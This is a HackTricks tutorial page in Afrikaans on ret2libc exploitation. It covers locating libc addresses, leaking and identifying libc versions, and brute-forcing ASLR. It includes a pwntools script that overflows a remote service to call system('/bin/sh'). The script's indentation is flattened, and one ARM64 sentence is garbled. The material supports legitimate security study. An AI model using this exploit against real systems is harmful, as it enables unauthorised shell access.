Ret2lib

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Die kern van Ret2Libc is om die uitvoeringsvloei van ’n kwesbare program om te lei na ’n funksie binne ’n gedeelde biblioteek (bv., system, execve, strcpy) in plaas van om deur die aanvaller verskafte shellcode op die stack uit te voer. Die aanvaller vervaardig ’n payload wat die return address op die stack wysig om na die gewenste biblioteekfunksie te wys, terwyl hy ook reël dat enige benodigde argumente korrek opgestel word volgens die calling convention.

Voorbeeldstappe (vereenvoudig)

  • Kry die adres van die funksie wat geroep moet word (bv. system) en die kommando wat aangeroep moet word (bv. /bin/sh)
  • Genereer ’n ROP chain om die eerste argument te deur te gee wat na die command string wys en die uitvoeringsvloei na die funksie te stuur

Die adresse vind

  • Aangenome dat die libc wat gebruik word die een van die huidige masjien is, kan jy vind waar dit in geheue gelaai sal word met:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

As jy wil nagaan of ASLR die adres van libc verander, kan jy dit so doen:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • As jy die gebruikte libc ken, is dit ook moontlik om die offset na die system funksie te vind met:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • As jy die gebruikte libc ken, is dit ook moontlik om die offset na die string /bin/sh te vind met:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Gebruik van gdb-peda / GEF

As die gebruikte libc bekend is, is dit ook moontlik om Peda of GEF te gebruik om die adres van die system funksie, van die exit funksie en van die string /bin/sh te kry :

p system
p exit
find "/bin/sh"

Gebruik /proc/<PID>/maps

As die proses elke keer as jy daarmee kommunikeer (network server) kinderprosesse skep, probeer om daardie lêer te lees (jy sal waarskynlik root-regte benodig).

Hier kan jy presies vind waar die libc binne die proses gelaai is en waar dit vir elke kind van die proses gelaai gaan word.

In hierdie geval is dit gelaai by 0xb75dc000 (Dit sal die basisadres van libc wees)

Onbekende libc

Dit kan moontlik wees dat jy nie weet watter libc die binêre laai nie (want dit kan op ’n bediener geleë wees waartoe jy geen toegang het nie). In daardie geval kan jy die kwesbaarheid misbruik om leak some addresses and find which libc biblioteek te identifiseer:

Leaking libc address with ROP

En jy kan ’n pwntools template daarvoor vind in:

Leaking libc - template

Ken libc met 2 offsets

Gaan na die bladsy https://libc.blukat.me/ en gebruik ’n paar adresse van funksies binne die libc om die weergawe wat gebruik word uit te vind.

Om ASLR in 32 bits te omseil

Hierdie brute-force-aanvalle is slegs nuttig vir 32bit-stelsels.

  • If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • As jy ’n remote server aanval, kan jy probeer om die brute-force die adres van die libc-funksie usleep, deur 10 as argument te gee (byvoorbeeld). As die server op ’n stadium 10s langer neem om te antwoord, het jy die adres van hierdie funksie gevind.

One Gadget

Voer ’n shell uit net deur na ’n enkele spesifieke adres in libc te spring:

One Gadget

x86 Ret2lib Kode Voorbeeld

In hierdie voorbeeld is ASLR brute-force in die kode geïntegreer en die kwesbare binary is op ’n remote server geleë:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Kodevoorbeeld

Kyk na die voorbeeld vanaf:

ROP & JOP

ARM64 Ret2lib Voorbeeld

In die geval van ARM64 spring die ret instruksie na waarheen die x30 register wys en nie waarheen die stack-register wys nie. Dit is dus ’n bietjie ingewikkelder.

Ook in ARM64 doen ’n instruksie wat die instruksie doen (dit is nie moontlik om in die middel van instruksies te spring en dit in nuwe instruksies te transformeer nie).

Kyk na die voorbeeld vanaf:

Ret2lib + Printf leak - arm64

Ret-into-printf (or puts)

Dit laat toe om leak inligting uit die proses deur printf/puts aan te roep met spesifieke data as ’n argument. Byvoorbeeld, om die adres van puts in die GOT as argument aan puts te gee, sal leak die adres van puts in geheue.

Ret2printf

Dit beteken basies om ’n Ret2lib te misbruik om dit in ’n printf format strings vulnerability te transformeer deur die ret2lib te gebruik om printf aan te roep met die waardes om dit te exploit (klink nutteloos maar moontlik):

Format Strings

Ander Voorbeelde & verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks